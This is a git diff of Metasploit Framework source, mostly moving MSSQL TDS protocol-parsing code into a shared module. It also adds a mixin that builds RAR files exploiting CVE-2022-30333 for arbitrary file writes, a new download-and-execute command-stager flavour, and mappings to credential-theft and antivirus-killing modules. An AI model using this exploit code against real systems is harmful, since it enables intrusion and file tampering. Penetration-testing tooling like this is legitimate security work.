||||
#
|
||||
# Parse a "done" TDS token
|
||||
#
|
||||
def mssql_parse_done(data, info)
|
||||
status, cmd, rows = data.slice!(0, 8).unpack('vvV')
|
||||
info[:done] = { :status => status, :cmd => cmd, :rows => rows }
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse an "error" TDS token
|
||||
#
|
||||
def mssql_parse_error(data, info)
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
buff = data.slice!(0, len)
|
||||
|
||||
errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
|
||||
emsg = buff.slice!(0, elen * 2)
|
||||
emsg.gsub!("\x00", '')
|
||||
|
||||
info[:errors] << "SQL Server Error ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse an "information" TDS token
|
||||
#
|
||||
def mssql_parse_info(data, info)
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
buff = data.slice!(0, len)
|
||||
|
||||
errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
|
||||
emsg = buff.slice!(0, elen * 2)
|
||||
emsg.gsub!("\x00", '')
|
||||
|
||||
info[:infos] ||= []
|
||||
info[:infos] << "SQL Server Info ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a "login ack" TDS token
|
||||
#
|
||||
def mssql_parse_login_ack(data, info)
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
_buff = data.slice!(0, len)
|
||||
info[:login_ack] = true
|
||||
end
|
||||
|
||||
#
|
||||
# Parse individual tokens from a TDS reply
|
||||
#
|
||||
def mssql_parse_reply(data, info)
|
||||
info[:errors] = []
|
||||
return if not data
|
||||
until data.empty?
|
||||
token = data.slice!(0, 1).unpack('C')[0]
|
||||
case token
|
||||
when 0x81
|
||||
mssql_parse_tds_reply(data, info)
|
||||
when 0xd1
|
||||
mssql_parse_tds_row(data, info)
|
||||
when 0xe3
|
||||
mssql_parse_env(data, info)
|
||||
when 0x79
|
||||
mssql_parse_ret(data, info)
|
||||
when 0xfd, 0xfe, 0xff
|
||||
mssql_parse_done(data, info)
|
||||
when 0xad
|
||||
mssql_parse_login_ack(data, info)
|
||||
when 0xab
|
||||
mssql_parse_info(data, info)
|
||||
when 0xaa
|
||||
mssql_parse_error(data, info)
|
||||
when nil
|
||||
break
|
||||
else
|
||||
info[:errors] << "unsupported token: #{token}"
|
||||
end
|
||||
end
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a raw TDS reply from the server
|
||||
#
|
||||
def mssql_parse_tds_reply(data, info)
|
||||
info[:errors] ||= []
|
||||
info[:colinfos] ||= []
|
||||
info[:colnames] ||= []
|
||||
|
||||
# Parse out the columns
|
||||
cols = data.slice!(0, 2).unpack('v')[0]
|
||||
0.upto(cols-1) do |col_idx|
|
||||
col = {}
|
||||
info[:colinfos][col_idx] = col
|
||||
|
||||
col[:utype] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:flags] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:type] = data.slice!(0, 1).unpack('C')[0]
|
||||
|
||||
case col[:type]
|
||||
when 48
|
||||
col[:id] = :tinyint
|
||||
|
||||
when 52
|
||||
col[:id] = :smallint
|
||||
|
||||
when 56
|
||||
col[:id] = :rawint
|
||||
|
||||
when 61
|
||||
col[:id] = :datetime
|
||||
|
||||
when 34
|
||||
col[:id] = :image
|
||||
col[:max_size] = data.slice!(0, 4).unpack('V')[0]
|
||||
col[:value_length] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:value] = data.slice!(0, col[:value_length] * 2).gsub("\x00", '')
|
||||
|
||||
when 36
|
||||
col[:id] = :string
|
||||
|
||||
when 38
|
||||
col[:id] = :int
|
||||
col[:int_size] = data.slice!(0, 1).unpack('C')[0]
|
||||
|
||||
when 127
|
||||
col[:id] = :bigint
|
||||
|
||||
when 165
|
||||
col[:id] = :hex
|
||||
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
|
||||
|
||||
when 173
|
||||
col[:id] = :hex # binary(2)
|
||||
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
|
||||
|
||||
when 231, 175, 167, 239
|
||||
col[:id] = :string
|
||||
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:codepage] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:cflags] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:charset_id] = data.slice!(0, 1).unpack('C')[0]
|
||||
|
||||
else
|
||||
col[:id] = :unknown
|
||||
end
|
||||
|
||||
col[:msg_len] = data.slice!(0, 1).unpack('C')[0]
|
||||
|
||||
if(col[:msg_len] and col[:msg_len] > 0)
|
||||
col[:name] = data.slice!(0, col[:msg_len] * 2).gsub("\x00", '')
|
||||
end
|
||||
info[:colnames] << (col[:name] || 'NULL')
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a single row of a TDS reply
|
||||
#
|
||||
def mssql_parse_tds_row(data, info)
|
||||
info[:rows] ||= []
|
||||
row = []
|
||||
|
||||
info[:colinfos].each do |col|
|
||||
|
||||
if(data.length == 0)
|
||||
row << "<EMPTY>"
|
||||
next
|
||||
end
|
||||
|
||||
case col[:id]
|
||||
when :hex
|
||||
str = ""
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
if(len > 0 and len < 65535)
|
||||
str << data.slice!(0, len)
|
||||
end
|
||||
row << str.unpack("H*")[0]
|
||||
|
||||
when :string
|
||||
str = ""
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
if(len > 0 and len < 65535)
|
||||
str << data.slice!(0, len)
|
||||
end
|
||||
row << str.gsub("\x00", '')
|
||||
|
||||
when :datetime
|
||||
row << data.slice!(0, 8).unpack("H*")[0]
|
||||
|
||||
when :rawint
|
||||
row << data.slice!(0, 4).unpack('V')[0]
|
||||
|
||||
when :bigint
|
||||
row << data.slice!(0, 8).unpack("H*")[0]
|
||||
|
||||
when :smallint
|
||||
row << data.slice!(0, 2).unpack("v")[0]
|
||||
|
||||
when :smallint3
|
||||
row << [data.slice!(0, 3)].pack("Z4").unpack("V")[0]
|
||||
|
||||
when :tinyint
|
||||
row << data.slice!(0, 1).unpack("C")[0]
|
||||
|
||||
when :image
|
||||
str = ''
|
||||
len = data.slice!(0, 1).unpack('C')[0]
|
||||
str = data.slice!(0, len) if (len and len > 0)
|
||||
row << str.unpack("H*")[0]
|
||||
|
||||
when :int
|
||||
len = data.slice!(0, 1).unpack("C")[0]
|
||||
raw = data.slice!(0, len) if (len and len > 0)
|
||||
|
||||
case len
|
||||
when 0, 255
|
||||
row << ''
|
||||
when 1
|
||||
row << raw.unpack("C")[0]
|
||||
when 2
|
||||
row << raw.unpack('v')[0]
|
||||
when 4
|
||||
row << raw.unpack('V')[0]
|
||||
when 5
|
||||
row << raw.unpack('V')[0] # XXX: missing high byte
|
||||
when 8
|
||||
row << raw.unpack('VV')[0] # XXX: missing high dword
|
||||
else
|
||||
info[:errors] << "invalid integer size: #{len} #{data[0, 16].unpack("H*")[0]}"
|
||||
end
|
||||
else
|
||||
info[:errors] << "unknown column type: #{col.inspect}"
|
||||
end
|
||||
end
|
||||
|
||||
info[:rows] << row
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
#this method send a prelogin packet and check if encryption is off
|
||||
#
|
||||
@@ -690,56 +394,10 @@ module Metasploit
|
||||
encryption_mode
|
||||
end
|
||||
|
||||
#
|
||||
# Send and receive using TDS
|
||||
#
|
||||
def mssql_send_recv(req, timeout=15, check_status = true)
|
||||
sock.put(req)
|
||||
|
||||
# Read the 8 byte header to get the length and status
|
||||
# Read the length to get the data
|
||||
# If the status is 0, read another header and more data
|
||||
|
||||
done = false
|
||||
resp = ""
|
||||
|
||||
while(not done)
|
||||
head = sock.get_once(8, timeout)
|
||||
if !(head && head.length == 8)
|
||||
return false
|
||||
end
|
||||
|
||||
# Is this the last buffer?
|
||||
if head[1, 1] == "\x01" || !check_status
|
||||
done = true
|
||||
end
|
||||
|
||||
# Grab this block's length
|
||||
rlen = head[2, 2].unpack('n')[0] - 8
|
||||
|
||||
while(rlen > 0)
|
||||
buff = sock.get_once(rlen, timeout)
|
||||
return if not buff
|
||||
resp << buff
|
||||
rlen -= buff.length
|
||||
end
|
||||
end
|
||||
|
||||
resp
|
||||
end
|
||||
|
||||
def mssql_ssl_send_recv(req, tdsproxy, timeout=15, check_status=true)
|
||||
tdsproxy.send_recv(req)
|
||||
end
|
||||
|
||||
#
|
||||
# Encrypt a password according to the TDS protocol (encode)
|
||||
#
|
||||
def mssql_tds_encrypt(pass)
|
||||
# Convert to unicode, swap 4 bits both ways, xor with 0xa5
|
||||
Rex::Text.to_unicode(pass).unpack('C*').map {|c| (((c & 0x0f) << 4) + ((c & 0xf0) >> 4)) ^ 0xa5 }.pack("C*")
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
def windows_authentication
|
||||
|
||||
@@ -30,7 +30,7 @@ module Metasploit
|
||||
end
|
||||
end
|
||||
|
||||
VERSION = "6.2.7"
|
||||
VERSION = "6.2.13"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
||||
@@ -22,7 +22,7 @@ class Config < Hash
|
||||
# The installation's root directory for the distribution
|
||||
InstallRoot = File.expand_path(File.join(File.dirname(__FILE__), '..', '..', '..'))
|
||||
|
||||
# Determines the base configuration directory.
|
||||
# Determines the base configuration directory. This method should be considered `private`.
|
||||
#
|
||||
# @return [String] the base configuration directory
|
||||
def self.get_config_root
|
||||
|
||||
@@ -413,7 +413,7 @@ class Meterpreter < Rex::Post::Meterpreter::Client
|
||||
|
||||
def update_session_info
|
||||
# sys.config.getuid, and fs.dir.getwd cache their results, so update them
|
||||
fs.dir.getwd
|
||||
fs&.dir&.getwd
|
||||
username = self.sys.config.getuid
|
||||
sysinfo = self.sys.config.sysinfo
|
||||
|
||||
|
||||
@@ -56,8 +56,11 @@ module Scriptable
|
||||
#
|
||||
def legacy_script_to_post_module(script_name)
|
||||
{
|
||||
'arp_scanner' => 'post/windows/gather/arp_scanner',
|
||||
'autoroute' => 'post/multi/manage/autoroute',
|
||||
'checkvm' => 'post/windows/gather/checkvm',
|
||||
'credcollect' => 'post/windows/gather/credentials/credential_collector',
|
||||
'dumplinks' => 'post/windows/gather/dumplinks',
|
||||
'duplicate' => 'post/windows/manage/multi_meterpreter_inject',
|
||||
'enum_chrome' => 'post/windows/gather/enum_chrome',
|
||||
'enum_firefox' => 'post/windows/gather/enum_firefox',
|
||||
@@ -69,6 +72,7 @@ module Scriptable
|
||||
'get_application_list' => 'post/windows/gather/enum_applications',
|
||||
'get_env' => 'post/multi/gather/env',
|
||||
'get_filezilla_creds' => 'post/windows/gather/credentials/filezilla_server',
|
||||
'get_pidgin_creds' => 'post/multi/gather/pidgin_cred',
|
||||
'get_local_subnets' => 'post/multi/manage/autoroute',
|
||||
'get_valid_community' => 'post/windows/gather/enum_snmp',
|
||||
'getcountermeasure' => 'post/windows/manage/killav',
|
||||
@@ -80,6 +84,7 @@ module Scriptable
|
||||
'killav' => 'post/windows/manage/killav',
|
||||
'metsvc' => 'exploit/windows/local/persistence',
|
||||
'migrate' => 'post/windows/manage/migrate',
|
||||
'panda_2007_pavsrv51' => 'exploit/windows/local/service_permissions',
|
||||
'pml_driver_config' => 'exploit/windows/local/service_permissions',
|
||||
'packetrecorder' => 'post/windows/manage/rpcapd_start',
|
||||
'persistence' => 'exploit/windows/local/persistence',
|
||||
@@ -90,6 +95,7 @@ module Scriptable
|
||||
'screenspy' => 'post/windows/gather/screen_spy',
|
||||
'search_dwld' => 'post/windows/gather/enum_files',
|
||||
'service_permissions_escalate' => 'exploits/windows/local/service_permissions',
|
||||
'srt_webdrive_priv' => 'exploit/windows/local/service_permissions',
|
||||
'uploadexec' => 'post/windows/manage/download_exec',
|
||||
'webcam' => 'post/windows/manage/webcam',
|
||||
'wmic' => 'post/windows/gather/wmic_command',
|
||||
|
||||
@@ -243,7 +243,8 @@ module Auxiliary::HttpCrawler
|
||||
# Specific module implementations should redefine this method
|
||||
# with whatever is meaningful to them.
|
||||
def crawler_process_page(t, page, cnt)
|
||||
msg = "[#{"%.5d" % cnt}/#{"%.5d" % max_page_count}] #{page.code || "ERR"} - #{@current_site.vhost} - #{page.url}"
|
||||
return if page.nil? # Skip over pages that don't contain any info aka page is nil. We can't process these types of pages since there is no data to process.
|
||||
msg = "[#{"%.5d" % cnt}/#{"%.5d" % max_page_count}] #{page ? page.code || "ERR" : "ERR"} - #{@current_site.vhost} - #{page.url}"
|
||||
case page.code
|
||||
when 301,302
|
||||
if page.headers and page.headers["location"]
|
||||
|
||||
@@ -130,7 +130,7 @@ module DbConnector
|
||||
# Connect to a database via the supplied yaml file
|
||||
#
|
||||
def self.db_connect_yaml(framework, opts)
|
||||
file = opts[:yaml_file] || ::File.join(Msf::Config.get_config_root, 'database.yml')
|
||||
file = opts[:yaml_file] || ::File.join(Msf::Config.config_directory, 'database.yml')
|
||||
file = ::File.expand_path(file)
|
||||
unless ::File.exist?(file)
|
||||
return { error: 'File not found' }
|
||||
|
||||
@@ -26,7 +26,8 @@ module Exploit::CmdStager
|
||||
:curl => Rex::Exploitation::CmdStagerCurl,
|
||||
:fetch => Rex::Exploitation::CmdStagerFetch,
|
||||
:lwprequest => Rex::Exploitation::CmdStagerLwpRequest,
|
||||
:psh_invokewebrequest => Rex::Exploitation::CmdStagerPSHInvokeWebRequest
|
||||
:psh_invokewebrequest => Rex::Exploitation::CmdStagerPSHInvokeWebRequest,
|
||||
:ftp_http => Rex::Exploitation::CmdStagerFtpHttp,
|
||||
}
|
||||
|
||||
# Constant for decoders - used when checking the default flavor decoder.
|
||||
@@ -55,7 +56,7 @@ module Exploit::CmdStager
|
||||
flavors = STAGERS.keys if flavors.empty?
|
||||
flavors.unshift('auto')
|
||||
|
||||
server_conditions = ['CMDSTAGER::FLAVOR', 'in', %w{auto certutil tftp wget curl fetch lwprequest psh_invokewebrequest}]
|
||||
server_conditions = ['CMDSTAGER::FLAVOR', 'in', %w{auto certutil tftp wget curl fetch lwprequest psh_invokewebrequest ftp_http}]
|
||||
register_options(
|
||||
[
|
||||
OptAddressLocal.new('SRVHOST', [true, 'The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.', '0.0.0.0' ], conditions: server_conditions),
|
||||
|
||||
@@ -0,0 +1,68 @@
|
||||
# Encoding: ASCII-8BIT
|
||||
|
||||
module Msf
|
||||
class Exploit
|
||||
module Format
|
||||
# The RarSymlinkPathTraversal mixin provides methods for generating a RAR file
|
||||
# that exploits CVE-2022-30333, which can write an arbitrary file to an arbitrary
|
||||
# location on a Linux filesystem
|
||||
module RarSymlinkPathTraversal
|
||||
# Encode arbitrary data to be extracted to an arbitrary path on versions of
|
||||
# unrar that are affected by CVE-2022-30333
|
||||
def encode_as_traversal_rar(symlink_name, target_path, data)
|
||||
# Exactly 104 characters isn't allowed because we need to null-terminate
|
||||
unless target_path.length < 104
|
||||
raise ArgumentError, 'The RAR filename target is too long (max length: 103 characters)'
|
||||
end
|
||||
|
||||
# Data and symlink_name don't need to be null-terminated, just padded
|
||||
unless data.length <= 4096
|
||||
raise ArgumentError, "The RAR file data is too long (max length: 4096 bytes, it was #{data.length})"
|
||||
end
|
||||
|
||||
unless symlink_name.length <= 12
|
||||
raise ArgumentError, 'The symlink is too long (max length: 12 characters)'
|
||||
end
|
||||
|
||||
# Null terminate the path, pad with NUL bytes, and invert the slashes
|
||||
symlink_target = (target_path + "\0").gsub('/', '\\')
|
||||
symlink_target.concat(rand(255).chr) while symlink_target.length < 104
|
||||
|
||||
symlink_name = symlink_name.ljust(12, "\0")
|
||||
|
||||
# Pad the data to the full length
|
||||
data.concat(rand(255).chr) while data.length < 4096
|
||||
|
||||
# Build a RAR file from pieces, filling in the blanks with our payloads.
|
||||
# The RAR format is non-free (and complex), so this is the easiest way to
|
||||
# build a payload file
|
||||
rar = "\x52\x61\x72\x21\x1a\x07\x01\x00\xf3\xe1\x82\xeb\x0b\x01\x05\x07\x00\x06\x01\x01\x80\x80\x80\x00"
|
||||
|
||||
# Create the first section (with the symlink), and attach with its CRC32
|
||||
rar_section1 = ''
|
||||
rar_section1.concat("\x94\x01\x02\x03\x78\x00\x04\x00\xa0\x08\x00\x00\x00\x00\x80\x00\x00\x0c")
|
||||
rar_section1.concat(symlink_name) # Symlink filename
|
||||
rar_section1.concat("\x0a\x03\x02\xae\xf0\x37\x1c\x91\x98\xd8\x01\x6c\x05\x02\x00\x68")
|
||||
rar_section1.concat(symlink_target)
|
||||
rar.concat([Zlib.crc32(rar_section1), rar_section1].pack('Va*'))
|
||||
|
||||
# Create the second section (with the data), and attach with its CRC32
|
||||
rar_section2 = ''
|
||||
rar_section2.concat("\x28\x02\x03\x0b\x80\x20\x04\x80\x20\x20")
|
||||
rar_section2.concat([Zlib.crc32(data)].pack('V'))
|
||||
rar_section2.concat("\x80\x00\x00\x0c")
|
||||
rar_section2.concat(symlink_name) # Data filename (same as symlink to overwrite it)
|
||||
rar_section2.concat("\x0a\x03\x02\x00\x36\xe3\x00\x91\x98\xd8\x01")
|
||||
rar.concat([Zlib.crc32(rar_section2), rar_section2].pack('Va*'))
|
||||
|
||||
rar.concat(data)
|
||||
|
||||
# This tail doesn't seem necessary, but I don't want to mess with it
|
||||
rar.concat("\x1d\x77\x56\x51\x03\x05\x04\x00")
|
||||
|
||||
rar
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -97,15 +97,28 @@ module Msf::Exploit::Remote::HTTP::Typo3::Login
|
||||
# @param password [String] The clear text password to encrypt
|
||||
# @return [String] the base64 encoded password with prefixed 'rsa:'
|
||||
def typo3_helper_login_rsa(e, n, password)
|
||||
key = OpenSSL::PKey::RSA.new
|
||||
exponent = OpenSSL::BN.new e.hex.to_s
|
||||
modulus = OpenSSL::BN.new n.hex.to_s
|
||||
if key.respond_to?(:set_key)
|
||||
# Ruby 2.4+
|
||||
key.set_key(modulus, exponent, nil)
|
||||
# OpenSSL 3.0+
|
||||
if OpenSSL::PKey.respond_to?(:generate_key)
|
||||
exponent = OpenSSL::BN.new e.hex
|
||||
modulus = OpenSSL::BN.new n.hex
|
||||
asn1 = OpenSSL::ASN1::Sequence(
|
||||
[
|
||||
OpenSSL::ASN1::Integer(modulus),
|
||||
OpenSSL::ASN1::Integer(exponent),
|
||||
]
|
||||
)
|
||||
key = OpenSSL::PKey::RSA.new(asn1.to_der)
|
||||
else
|
||||
key.e = exponent
|
||||
key.n = modulus
|
||||
key = OpenSSL::PKey::RSA.new
|
||||
exponent = OpenSSL::BN.new e.hex.to_s
|
||||
modulus = OpenSSL::BN.new n.hex.to_s
|
||||
if key.respond_to?(:set_key)
|
||||
# Ruby 2.4+
|
||||
key.set_key(modulus, exponent, nil)
|
||||
else
|
||||
key.e = exponent
|
||||
key.n = modulus
|
||||
end
|
||||
end
|
||||
enc = key.public_encrypt(password)
|
||||
enc_b64 = Rex::Text.encode_base64(enc)
|
||||
|
||||
@@ -44,7 +44,7 @@ module Msf
|
||||
time_stamp = opts[:time_stamp] || Time.now
|
||||
pausec = opts[:pausec] || 0
|
||||
etype = opts[:etype] || Rex::Proto::Kerberos::Crypto::RC4_HMAC
|
||||
key = opts[:key] || ''
|
||||
key = opts[:key] || OpenSSL::Random.random_bytes(16)
|
||||
|
||||
pa_time_stamp = Rex::Proto::Kerberos::Model::PreAuthEncTimeStamp.new(
|
||||
pa_time_stamp: time_stamp,
|
||||
|
||||
@@ -1,4 +1,7 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'metasploit/framework/mssql/base'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
@@ -12,32 +15,7 @@ module Exploit::Remote::MSSQL
|
||||
include Exploit::Remote::Udp
|
||||
include Exploit::Remote::Tcp
|
||||
include Exploit::Remote::NTLM::Client
|
||||
|
||||
# Encryption
|
||||
ENCRYPT_OFF = 0x00 #Encryption is available but off.
|
||||
ENCRYPT_ON = 0x01 #Encryption is available and on.
|
||||
ENCRYPT_NOT_SUP = 0x02 #Encryption is not available.
|
||||
ENCRYPT_REQ = 0x03 #Encryption is required.
|
||||
|
||||
# Packet Type
|
||||
TYPE_SQL_BATCH = 1 # (Client) SQL command
|
||||
TYPE_PRE_TDS7_LOGIN = 2 # (Client) Pre-login with version < 7 (unused)
|
||||
TYPE_RPC = 3 # (Client) RPC
|
||||
TYPE_TABLE_RESPONSE = 4 # (Server) Pre-Login Response ,Login Response, Row Data, Return Status, Return Parameters,
|
||||
# Request Completion, Error and Info Messages, Attention Acknowledgement
|
||||
TYPE_ATTENTION_SIGNAL = 6 # (Client) Attention
|
||||
TYPE_BULK_LOAD = 7 # (Client) SQL Command with binary data
|
||||
TYPE_TRANSACTION_MANAGER_REQUEST = 14 # (Client) Transaction request manager
|
||||
TYPE_TDS7_LOGIN = 16 # (Client) Login
|
||||
TYPE_SSPI_MESSAGE = 17 # (Client) Login
|
||||
TYPE_PRE_LOGIN_MESSAGE = 18 # (Client) pre-login with version > 7
|
||||
|
||||
# Status
|
||||
STATUS_NORMAL = 0x00
|
||||
STATUS_END_OF_MESSAGE = 0x01
|
||||
STATUS_IGNORE_EVENT = 0x02
|
||||
STATUS_RESETCONNECTION = 0x08 # TDS 7.1+
|
||||
STATUS_RESETCONNECTIONSKIPTRAN = 0x10 # TDS 7.3+
|
||||
include Metasploit::Framework::MSSQL::Base
|
||||
|
||||
#
|
||||
# Creates an instance of a MSSQL exploit module.
|
||||
@@ -225,52 +203,6 @@ module Exploit::Remote::MSSQL
|
||||
print_status("Be sure to cleanup #{var_payload}.exe...")
|
||||
end
|
||||
|
||||
#
|
||||
# Send and receive using TDS
|
||||
#
|
||||
def mssql_send_recv(req, timeout=15, check_status = true)
|
||||
sock.put(req)
|
||||
|
||||
# Read the 8 byte header to get the length and status
|
||||
# Read the length to get the data
|
||||
# If the status is 0, read another header and more data
|
||||
|
||||
done = false
|
||||
resp = ""
|
||||
|
||||
while(not done)
|
||||
head = sock.get_once(8, timeout)
|
||||
if !(head && head.length == 8)
|
||||
return false
|
||||
end
|
||||
|
||||
# Is this the last buffer?
|
||||
if(head[1, 1] == "\x01" or not check_status )
|
||||
done = true
|
||||
end
|
||||
|
||||
# Grab this block's length
|
||||
rlen = head[2, 2].unpack('n')[0] - 8
|
||||
|
||||
while(rlen > 0)
|
||||
buff = sock.get_once(rlen, timeout)
|
||||
return if not buff
|
||||
resp << buff
|
||||
rlen -= buff.length
|
||||
end
|
||||
end
|
||||
|
||||
resp
|
||||
end
|
||||
|
||||
#
|
||||
# Encrypt a password according to the TDS protocol (encode)
|
||||
#
|
||||
def mssql_tds_encrypt(pass)
|
||||
# Convert to unicode, swap 4 bits both ways, xor with 0xa5
|
||||
Rex::Text.to_unicode(pass).unpack('C*').map {|c| (((c & 0x0f) << 4) + ((c & 0xf0) >> 4)) ^ 0xa5 }.pack("C*")
|
||||
end
|
||||
|
||||
#
|
||||
#this method send a prelogin packet and check if encryption is off
|
||||
#
|
||||
@@ -641,7 +573,6 @@ module Exploit::Remote::MSSQL
|
||||
info
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Nicely print the results of a SQL query
|
||||
#
|
||||
@@ -675,278 +606,5 @@ module Exploit::Remote::MSSQL
|
||||
print_line(tbl.to_s)
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Parse a raw TDS reply from the server
|
||||
#
|
||||
def mssql_parse_tds_reply(data, info)
|
||||
info[:errors] ||= []
|
||||
info[:colinfos] ||= []
|
||||
info[:colnames] ||= []
|
||||
|
||||
# Parse out the columns
|
||||
cols = data.slice!(0, 2).unpack('v')[0]
|
||||
0.upto(cols-1) do |col_idx|
|
||||
col = {}
|
||||
info[:colinfos][col_idx] = col
|
||||
|
||||
col[:utype] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:flags] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:type] = data.slice!(0, 1).unpack('C')[0]
|
||||
|
||||
case col[:type]
|
||||
when 48
|
||||
col[:id] = :tinyint
|
||||
|
||||
when 52
|
||||
col[:id] = :smallint
|
||||
|
||||
when 56
|
||||
col[:id] = :rawint
|
||||
|
||||
when 61
|
||||
col[:id] = :datetime
|
||||
|
||||
when 34
|
||||
col[:id] = :image
|
||||
col[:max_size] = data.slice!(0, 4).unpack('V')[0]
|
||||
col[:value_length] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:value] = data.slice!(0, col[:value_length] * 2).gsub("\x00", '')
|
||||
|
||||
when 36
|
||||
col[:id] = :string
|
||||
|
||||
when 38
|
||||
col[:id] = :int
|
||||
col[:int_size] = data.slice!(0, 1).unpack('C')[0]
|
||||
|
||||
when 127
|
||||
col[:id] = :bigint
|
||||
|
||||
when 165
|
||||
col[:id] = :hex
|
||||
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
|
||||
|
||||
when 173
|
||||
col[:id] = :hex # binary(2)
|
||||
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
|
||||
|
||||
when 231, 175, 167, 239
|
||||
col[:id] = :string
|
||||
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:codepage] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:cflags] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:charset_id] = data.slice!(0, 1).unpack('C')[0]
|
||||
|
||||
else
|
||||
col[:id] = :unknown
|
||||
end
|
||||
|
||||
col[:msg_len] = data.slice!(0, 1).unpack('C')[0]
|
||||
|
||||
if col[:msg_len] && col[:msg_len] > 0
|
||||
col[:name] = data.slice!(0, col[:msg_len] * 2).gsub("\x00", '')
|
||||
end
|
||||
info[:colnames] << (col[:name] || 'NULL')
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Parse individual tokens from a TDS reply
|
||||
#
|
||||
def mssql_parse_reply(data, info)
|
||||
info[:errors] = []
|
||||
return if not data
|
||||
until data.empty?
|
||||
token = data.slice!(0, 1).unpack('C')[0]
|
||||
case token
|
||||
when 0x81
|
||||
mssql_parse_tds_reply(data, info)
|
||||
when 0xd1
|
||||
mssql_parse_tds_row(data, info)
|
||||
when 0xe3
|
||||
mssql_parse_env(data, info)
|
||||
when 0x79
|
||||
mssql_parse_ret(data, info)
|
||||
when 0xfd, 0xfe, 0xff
|
||||
mssql_parse_done(data, info)
|
||||
when 0xad
|
||||
mssql_parse_login_ack(data, info)
|
||||
when 0xab
|
||||
mssql_parse_info(data, info)
|
||||
when 0xaa
|
||||
mssql_parse_error(data, info)
|
||||
when nil
|
||||
break
|
||||
else
|
||||
info[:errors] << "unsupported token: #{token}"
|
||||
end
|
||||
end
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a single row of a TDS reply
|
||||
#
|
||||
def mssql_parse_tds_row(data, info)
|
||||
info[:rows] ||= []
|
||||
row = []
|
||||
|
||||
info[:colinfos].each do |col|
|
||||
|
||||
if(data.length == 0)
|
||||
row << "<EMPTY>"
|
||||
next
|
||||
end
|
||||
|
||||
case col[:id]
|
||||
when :hex
|
||||
str = ""
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
if len > 0 && len < 65535
|
||||
str << data.slice!(0, len)
|
||||
end
|
||||
row << str.unpack("H*")[0]
|
||||
|
||||
when :string
|
||||
str = ""
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
if len > 0 && len < 65535
|
||||
str << data.slice!(0, len)
|
||||
end
|
||||
row << str.gsub("\x00", '')
|
||||
|
||||
when :datetime
|
||||
row << data.slice!(0, 8).unpack("H*")[0]
|
||||
|
||||
when :rawint
|
||||
row << data.slice!(0, 4).unpack('V')[0]
|
||||
|
||||
when :bigint
|
||||
row << data.slice!(0, 8).unpack("H*")[0]
|
||||
|
||||
when :smallint
|
||||
row << data.slice!(0, 2).unpack("v")[0]
|
||||
|
||||
when :smallint3
|
||||
row << [data.slice!(0, 3)].pack("Z4").unpack("V")[0]
|
||||
|
||||
when :tinyint
|
||||
row << data.slice!(0, 1).unpack("C")[0]
|
||||
|
||||
when :image
|
||||
str = ''
|
||||
len = data.slice!(0, 1).unpack('C')[0]
|
||||
str = data.slice!(0, len) if len && len > 0
|
||||
row << str.unpack("H*")[0]
|
||||
|
||||
when :int
|
||||
len = data.slice!(0, 1).unpack("C")[0]
|
||||
raw = data.slice!(0, len) if len && len > 0
|
||||
|
||||
case len
|
||||
when 0, 255
|
||||
row << ''
|
||||
when 1
|
||||
row << raw.unpack("C")[0]
|
||||
when 2
|
||||
row << raw.unpack('v')[0]
|
||||
when 4
|
||||
row << raw.unpack('V')[0]
|
||||
when 5
|
||||
row << raw.unpack('V')[0] # XXX: missing high byte
|
||||
when 8
|
||||
row << raw.unpack('VV')[0] # XXX: missing high dword
|
||||
else
|
||||
info[:errors] << "invalid integer size: #{len} #{data[0, 16].unpack("H*")[0]}"
|
||||
end
|
||||
else
|
||||
info[:errors] << "unknown column type: #{col.inspect}"
|
||||
end
|
||||
end
|
||||
|
||||
info[:rows] << row
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a "ret" TDS token
|
||||
#
|
||||
def mssql_parse_ret(data, info)
|
||||
ret = data.slice!(0, 4).unpack('N')[0]
|
||||
info[:ret] = ret
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a "done" TDS token
|
||||
#
|
||||
def mssql_parse_done(data, info)
|
||||
